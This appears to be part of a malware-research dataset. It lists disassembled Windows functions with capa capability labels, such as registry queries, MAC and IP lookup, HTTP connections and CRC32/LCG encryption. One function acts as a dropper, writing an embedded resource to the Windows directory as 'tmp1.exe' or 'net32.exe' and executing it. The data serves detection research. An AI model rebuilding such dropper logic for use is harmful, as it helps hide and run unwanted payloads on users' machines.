joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452ab0
Capabilities:
Access peb ldr_data
Generate random numbers using the delphi lcg
Get process heap flags
Get process heap force flags
Hash data with crc32

Disassembly:
push 0xffffffffffffffff
push 0x4b93c8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4e7950]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov esi, ecx
push 0xc
mov dword [esp + 0x18], vtable.CZipAutoBuffer.0
call fcn.00461620
mov ebp, eax
add esp, 4
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], 0xc
mov edi, dword [esp + 0x30]
xor ebx, ebx
mov edx, esi
mov dword [esp + 0x28], ebx
call fcn.00452cd0
push ebx
call fcn.00482c2a
push eax
call fcn.00482232
add esp, 8
mov dword [esp + 0x30], ebx
lea ecx, [ecx]
call fcn.00482244
mov ebx, eax
sar ebx, 6
test bl, bl
jne 0x452b30
mov bl, al
mov edi, dword [esi + 4]
mov eax, dword [esi + 0xc]
movsx ecx, bl
xor ecx, edi
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4c4d10]
shr edi, 8
xor ecx, edi
mov dword [esi + 4], ecx
movzx ecx, cl
add ecx, dword [esi + 8]
mov edx, eax
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 8], ecx
shr ecx, 0x18
xor ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x4c4d10]
and edx, 0xfffd
or edx, 2
mov ecx, edx
xor ecx, 1
imul ecx, edx
mov dword [esi + 0xc], eax
mov eax, dword [esp + 0x30]
sar ecx, 8
xor cl, bl
mov byte [eax + ebp], cl
inc eax
cmp eax, 0xa
mov dword [esp + 0x30], eax
jl 0x452b20
mov edx, dword [esp + 0x34]
movzx edi, word [edx + 0x10]
mov ecx, dword [esi + 4]
shl edi, 0x10
mov ebx, edi
sar ebx, 0x10
mov byte [esp + 0x30], bl
mov eax, dword [esi + 0xc]
movsx ebx, bl
xor ebx, ecx
shr ecx, 8
and ebx, 0xff
mov ebx, dword [ebx*4 + 0x4c4d10]
xor ebx, ecx
movzx ecx, bl
add ecx, dword [esi + 8]
mov edx, eax
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 8], ecx
shr ecx, 0x18
xor ecx, eax
and ecx, 0xff
shr eax, 8
mov dword [esi + 4], ebx
xor eax, dword [ecx*4 + 0x4c4d10]
and edx, 0xfffd
mov dword [esi + 0xc], eax
or edx, 2
mov eax, edx
xor eax, 1
imul eax, edx
sar eax, 8
xor al, byte [esp + 0x30]
mov ebx, edi
mov byte [ebp + 0xa], al
mov ecx, dword [esi + 4]
sar ebx, 0x18
mov eax, dword [esi + 0xc]
movsx edi, bl
xor edi, ecx
shr ecx, 8
and edi, 0xff
mov edi, dword [edi*4 + 0x4c4d10]
xor edi, ecx
mov dword [esp + 0x30], edi
movzx ecx, byte [esp + 0x30]
add ecx, dword [esi + 8]
mov edx, eax
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 8], ecx
shr ecx, 0x18
xor ecx, eax
and ecx, 0xff
and edx, 0xfffd
shr eax, 8
or edx, 2
mov dword [esi + 4], edi
xor eax, dword [ecx*4 + 0x4c4d10]
mov ecx, edx
xor ecx, 1
imul ecx, edx
push 0
sar ecx, 8
mov dword [esi + 0xc], eax
mov eax, dword [esp + 0x3c]
push 0xc
xor cl, bl
push ebp
mov byte [ebp + 0xb], cl
call fcn.0044d5c0
mov eax, dword [esp + 0x34]
add dword [eax + 0x18], 0xc
push ebp
call fcn.0046165a
add esp, 4
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 0xc
Function at 0x452cd0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov dword [edx + 4], 0x12345678
mov dword [edx + 8], 0x23456789
mov dword [edx + 0xc], 0x34567890
cmp dword [edi + 8], esi
jbe 0x452d41
lea ecx, [ecx]
mov ecx, dword [edi + 4]
movsx ecx, byte [ecx + esi]
mov eax, dword [edx + 4]
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4c4d10]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 8]
mov dword [edx + 4], ecx
mov ecx, dword [edx + 0xc]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 8], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x4c4d10]
inc esi
mov dword [edx + 0xc], ecx
cmp esi, dword [edi + 8]
jb 0x452cf0
pop esi
ret
Function at 0x45be20
Capabilities:
Get file version info

Disassembly:
push 0xffffffffffffffff
push 0x4b58d0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4e7950]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x3c]
xor esi, esi
mov dword [esp + 0x18], esi
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x38], esi
call fcn.004077a0
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ebx, eax
cmp ebx, esi
je 0x45bf33
push ebx
push 2
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esp + 0x20]
mov edi, eax
push edi
push ebx
push ecx
lea ecx, [esp + 0x4c]
call fcn.004077a0
push eax
call sub.VERSION.dll_GetFileVersionInfoW
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x1c]
push eax
push 0x4d15c8
push edi
call sub.VERSION.dll_VerQueryValueW
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x18]
mov cx, word [eax + 0x16]
mov dx, word [eax + 0x14]
mov di, word [eax + 0x12]
mov bx, word [eax + 0x10]
mov word [esp + 0x28], cx
lea ecx, [esp + 0x14]
mov word [esp + 0x2a], dx
call fcn.00401e00
movzx eax, word [esp + 0x2a]
movzx ecx, word [esp + 0x28]
push eax
push ecx
movzx edx, bx
push edx
movzx eax, di
push eax
lea ecx, [esp + 0x24]
push 0x4d1f20
push ecx
mov byte [esp + 0x4c], 1
call fcn.00404820
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea edx, [esp + 0x14]
push edx
mov ecx, ebp
call fcn.00401e20
lea ecx, [esp + 0x14]
call fcn.00408680
jmp 0x45bf3f
push 0x4cff50
mov ecx, ebp
call fcn.00401e40
lea ecx, [esp + 0x40]
call fcn.00408680
mov eax, ebp
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x45e480
Capabilities:
Access peb ldr_data
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x4b5788
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push esi
mov eax, dword [0x4e7950]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push str.Software_
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 1
call fcn.00401e40
push str.Youxun
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 2
call fcn.00401f20
lea ecx, [esp + 0x30]
call fcn.004025b0
test al, al
jne 0x45e4f6
push 0x4d15c8
lea ecx, [esp + 0xc]
call fcn.00401f20
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0xc]
call fcn.00401f00
lea ecx, [esp + 0x18]
call fcn.00421000
push 0xf003f
lea ecx, [esp + 0xc]
call fcn.004077a0
push eax
push SysReAllocStringLen
lea ecx, [esp + 0x24]
call fcn.0040cff0
test eax, eax
jne 0x45e596
lea ecx, [esp + 0x34]
call fcn.004077a0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x18]
push ecx
push 0
push eax
mov esi, 4
push edx
mov dword [esp + 0x24], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x45e596
cmp dword [esp + 0x10], esi
jne 0x45e596
mov esi, dword [esp + 0x14]
lea ecx, [esp + 0x18]
call fcn.0040cf80
lea ecx, [esp + 8]
call fcn.00408680
lea ecx, [esp + 0x30]
call fcn.00408680
lea ecx, [esp + 0x34]
call fcn.00408680
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x24
ret 0xc
lea ecx, [esp + 0x18]
call fcn.0040cf80
lea ecx, [esp + 8]
call fcn.00408680
lea ecx, [esp + 0x30]
call fcn.00408680
lea ecx, [esp + 0x34]
call fcn.00408680
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x24
ret 0xc
Function at 0x45f2d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4b7fb0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
mov eax, dword [0x4e7950]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
push ecx
mov dword [esp + 0xc], 0
lea eax, [esi + 0x30]
mov ecx, esp
mov dword [esp + 0x10], esp
push eax
call fcn.00401e20
push ecx
lea edx, [esi + 0x2c]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
mov dword [esp + 0x28], 0
call fcn.00401e20
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x2c], 0xffffffff
call fcn.0045e690
lea ecx, [esp + 8]
mov dword [esp + 0x1c], 1
call fcn.004025b0
test al, al
je 0x45f355
mov dword [esi + 4], 0
lea ecx, [esp + 8]
call fcn.004077a0
mov esi, dword [esp + 0x24]
push eax
mov ecx, esi
call fcn.004026d0
lea ecx, [esp + 8]
call fcn.00408680
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x18
ret 0x10
Function at 0x45fd00
Capabilities:
Get mac address on windows

Disassembly:
push ecx
push esi
push 0x288
mov dword [esp + 8], 0x288
call fcn.00461620
mov esi, eax
add esp, 4
test esi, esi
je 0x45fdd4
push 0x288
push 0
push esi
call fcn.004865d0
add esp, 0xc
lea eax, [esp + 4]
push eax
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x45fd4f
push esi
call fcn.0046165a
add esp, 4
pop esi
pop ecx
ret 4
lea ecx, [esp + 4]
push ecx
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x45fdcb
mov eax, esi
mov ecx, 6
cmp dword [eax + 0x1a0], ecx
jne 0x45fd75
cmp dword [eax + 0x190], ecx
je 0x45fd89
mov eax, dword [eax]
test eax, eax
jne 0x45fd65
push esi
call fcn.0046165a
add esp, 4
pop esi
pop ecx
ret 4
movzx edx, byte [esi + 0x199]
movzx eax, byte [esi + 0x198]
movzx ecx, byte [esi + 0x197]
push edx
movzx edx, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push ecx
movzx ecx, byte [esi + 0x194]
push edx
mov edx, dword [esp + 0x1c]
push eax
push ecx
push str._02X__02X__02X__02X__02X__02X
push edx
call fcn.00404820
add esp, 0x20
push esi
call fcn.0046165a
add esp, 4
pop esi
pop ecx
ret 4

Function at 0x45fde0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push esi
push 0x170
mov dword [esp + 8], 0x170
call fcn.00461620
mov esi, eax
add esp, 4
test esi, esi
je 0x45fea4
push 0x170
push 0
push esi
call fcn.004865d0
add esp, 0xc
lea eax, [esp + 4]
push eax
push esi
push 0
push 0
push 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
jne 0x45fe35
push esi
call fcn.0046165a
add esp, 4
pop esi
pop ecx
ret 4
lea ecx, [esp + 4]
push ecx
push esi
push 0
push 0
push 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
test eax, eax
jne 0x45fe9b
mov eax, esi
mov ecx, 6
cmp dword [eax + 0x34], ecx
je 0x45fe6b
mov eax, dword [eax + 8]
test eax, eax
jne 0x45fe51
push esi
call fcn.0046165a
add esp, 4
pop esi
pop ecx
ret 4
movzx edx, byte [eax + 0x31]
movzx ecx, byte [eax + 0x30]
push edx
movzx edx, byte [eax + 0x2f]
push ecx
movzx ecx, byte [eax + 0x2e]
push edx
movzx edx, byte [eax + 0x2d]
movzx eax, byte [eax + 0x2c]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
push eax
push str._02X__02X__02X__02X__02X__02X
push ecx
call fcn.00404820
add esp, 0x20
push esi
call fcn.0046165a
add esp, 4
pop esi
pop ecx
ret 4
Function at 0x4610e0
Capabilities:
Encode data using base64

Disassembly:
push esi
mov esi, edx
push edi
mov edi, eax
test esi, esi
je 0x4611eb
test edi, edi
jle 0x4611eb
cmp edi, 3
jl 0x461185
mov eax, 0xaaaaaaab
mul edi
shr edx, 1
lea eax, [edx*4]
sub eax, edx
neg eax
add edi, eax
push ebx
jmp 0x461120
movzx eax, byte [esi]
shr eax, 2
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
movzx ebx, byte [esi + 1]
and eax, 3
shl eax, 4
shr ebx, 4
or eax, ebx
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + 1], al
movzx eax, byte [esi + 1]
movzx ebx, byte [esi + 2]
inc ecx
and eax, 0xf
add eax, eax
add eax, eax
shr ebx, 6
or eax, ebx
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 2]
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
add esi, 3
sub edx, 1
jne 0x461120
pop ebx
test edi, edi
jle 0x4611e3
movzx edx, byte [esi]
shr edx, 2
movzx eax, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
mov al, byte [esi]
and al, 3
inc ecx
shl al, 4
cmp edi, 1
jle 0x4611ad
mov dl, byte [esi + 1]
shr dl, 4
or al, dl
movzx eax, al
mov dl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], dl
inc ecx
cmp edi, 2
jge 0x4611ce
mov al, 0x3d
mov byte [ecx], al
inc ecx
mov byte [ecx], al
inc ecx
pop edi
mov byte [ecx], 0
mov al, 1
pop esi
ret
movzx eax, byte [esi + 1]
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
inc ecx
pop edi
mov byte [ecx], 0
mov al, 1
pop esi
ret
pop edi
xor al, al
pop esi
ret

Function at 0x46310c
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x463137
call fcn.00469b3b
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi + 8], eax
test eax, eax
jne 0x46315a
push eax
push dword [esi + 4]
call fcn.00463092
push esi
push eax
mov ecx, 0x4ea440
call fcn.00462d19
mov eax, esi
pop esi
pop ebp
ret 0x18
Function at 0x463bda
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x4b18af
call fcn.004863a9
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x20]
mov edi, dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push edi
call fcn.00463b9a
and dword [ebp - 4], 0
lea ecx, [esi + 0x18]
mov dword [esi], vtable.CHttpConnection.0
call fcn.00401e00
push dword [esi + 8]
mov edi, dword [edi + 8]
push dword [ebp + 0x10]
mov byte [ebp - 4], 1
push 3
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi + 4], eax
test eax, eax
jne 0x463c41
push eax
push dword [esi + 8]
call fcn.00463092
push dword [esi + 0xc]
mov ecx, 0x4ea440
push eax
call fcn.00462d19
mov eax, esi
call fcn.00486481
ret 0x1c

Function at 0x4676f7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x46773f
call fcn.00469b3b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x46773f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x467782
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x46776b
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x46776b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x46777f
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x46916d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x469191
cmp dword [edi + 0x54], 0
jne 0x469191
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00469b3b
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0046912e
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x470853
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x47089a
call fcn.00469b3b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x47089a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4708b6
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004703cb
mov esi, eax
test edi, edi
je 0x4708b4
test ebx, ebx
je 0x4708b4
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x470fed
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4b1d9a
call fcn.004863a9
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x471012
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x471058
lea ecx, [ebp - 0x10]
call fcn.00401e00
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00421730
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401300
mov eax, esi
call fcn.00486481
ret 8
Function at 0x480723
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4e7950]
jne 0x48072d
repz ret
jmp fcn.0048a6ae

Function at 0x4809d6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x480a07
call fcn.00482f01
mov dword [eax], esi
call fcn.00482eee
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0048153d
add esp, 0x14
push 0x16
pop eax
jmp 0x480a5c
test dword [ebp + 0xc], 0xfffffff9
jne 0x4809e3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x480a34
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00482f14
pop ecx
call fcn.00482eee
mov eax, dword [eax]
jmp 0x480a5c
test al, 0x10
jne 0x480a5a
test al, 1
je 0x480a5a
test byte [ebp + 0xc], 2
je 0x480a5a
call fcn.00482f01
mov dword [eax], 5
call fcn.00482eee
mov dword [eax], 0xd
jmp 0x480a2b
xor eax, eax
pop esi
pop ebp
ret

Function at 0x4967ff
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0048a012
and dword [ebp - 4], 0
cmp dword [0x4eceec], 0
mov ebx, eax
jne 0x4968b0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x496961
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x496961
push eax
call fcn.00489fa0
mov dword [esp], 0x4c0d88
push edi
mov dword [0x4eceec], eax
call esi
push eax
call fcn.00489fa0
mov dword [esp], 0x4c0d74
push edi
mov dword [0x4ecef0], eax
call esi
push eax
call fcn.00489fa0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4ecef4], eax
call esi
push eax
call fcn.00489fa0
pop ecx
mov dword [0x4ecefc], eax
test eax, eax
je 0x4968b0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00489fa0
pop ecx
mov dword [0x4ecef8], eax
mov eax, dword [0x4ecef8]
cmp eax, ebx
je 0x496908
cmp dword [0x4ecefc], ebx
je 0x496908
push eax
call fcn.0048a01b
push dword [0x4ecefc]
mov esi, eax
call fcn.0048a01b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x496908
test edi, edi
je 0x496908
call esi
test eax, eax
je 0x4968ff
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4968ff
test byte [ebp - 0xc], 1
jne 0x496908
or dword [ebp + 0x10], 0x200000
jmp 0x496941
mov eax, dword [0x4ecef0]
cmp eax, ebx
je 0x496941
push eax
call fcn.0048a01b
pop ecx
test eax, eax
je 0x496941
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x496941
mov eax, dword [0x4ecef4]
cmp eax, ebx
je 0x496941
push eax
call fcn.0048a01b
pop ecx
test eax, eax
je 0x496941
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4eceec]
call fcn.0048a01b
pop ecx
test eax, eax
je 0x496961
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x496963
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401012
mov eax, dword [0x40910f]
shl eax, 2
mov dword [0x409113], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00402228
pop edx
call fcn.004015c4
call fcn.0040222c
push 0
call fcn.00402e80
pop ecx
push 0x4090b8
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x409117], eax
push 0
jmp fcn.00406930

Function at 0x4011e8
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
push 0x100
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
cmp bx, 0x66
jne 0x401224
push str._tmp1.exe
lea edx, [ebp - 0x104]
push edx
call fcn.00402344
add esp, 8
jmp 0x401238
push str._net32.exe
lea ecx, [ebp - 0x104]
push ecx
call fcn.00402344
add esp, 8
push 0xa
movzx eax, bx
push eax
push dword [0x40b440]
call sub.KERNEL32.DLL_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x4012cc
push ebx
push dword [0x40b440]
call sub.KERNEL32.DLL_SizeofResource
mov edi, eax
test edi, edi
je 0x4012cc
push ebx
push dword [0x40b440]
call sub.KERNEL32.DLL_LoadResource
test eax, eax
je 0x4012cc
push eax
call sub.KERNEL32.DLL_LockResource
mov esi, eax
test esi, esi
je 0x4012cc
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4012cc
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
push 5
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f1c
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x4059b4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x405a16
call fcn.00405964
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00402380
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00402380
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret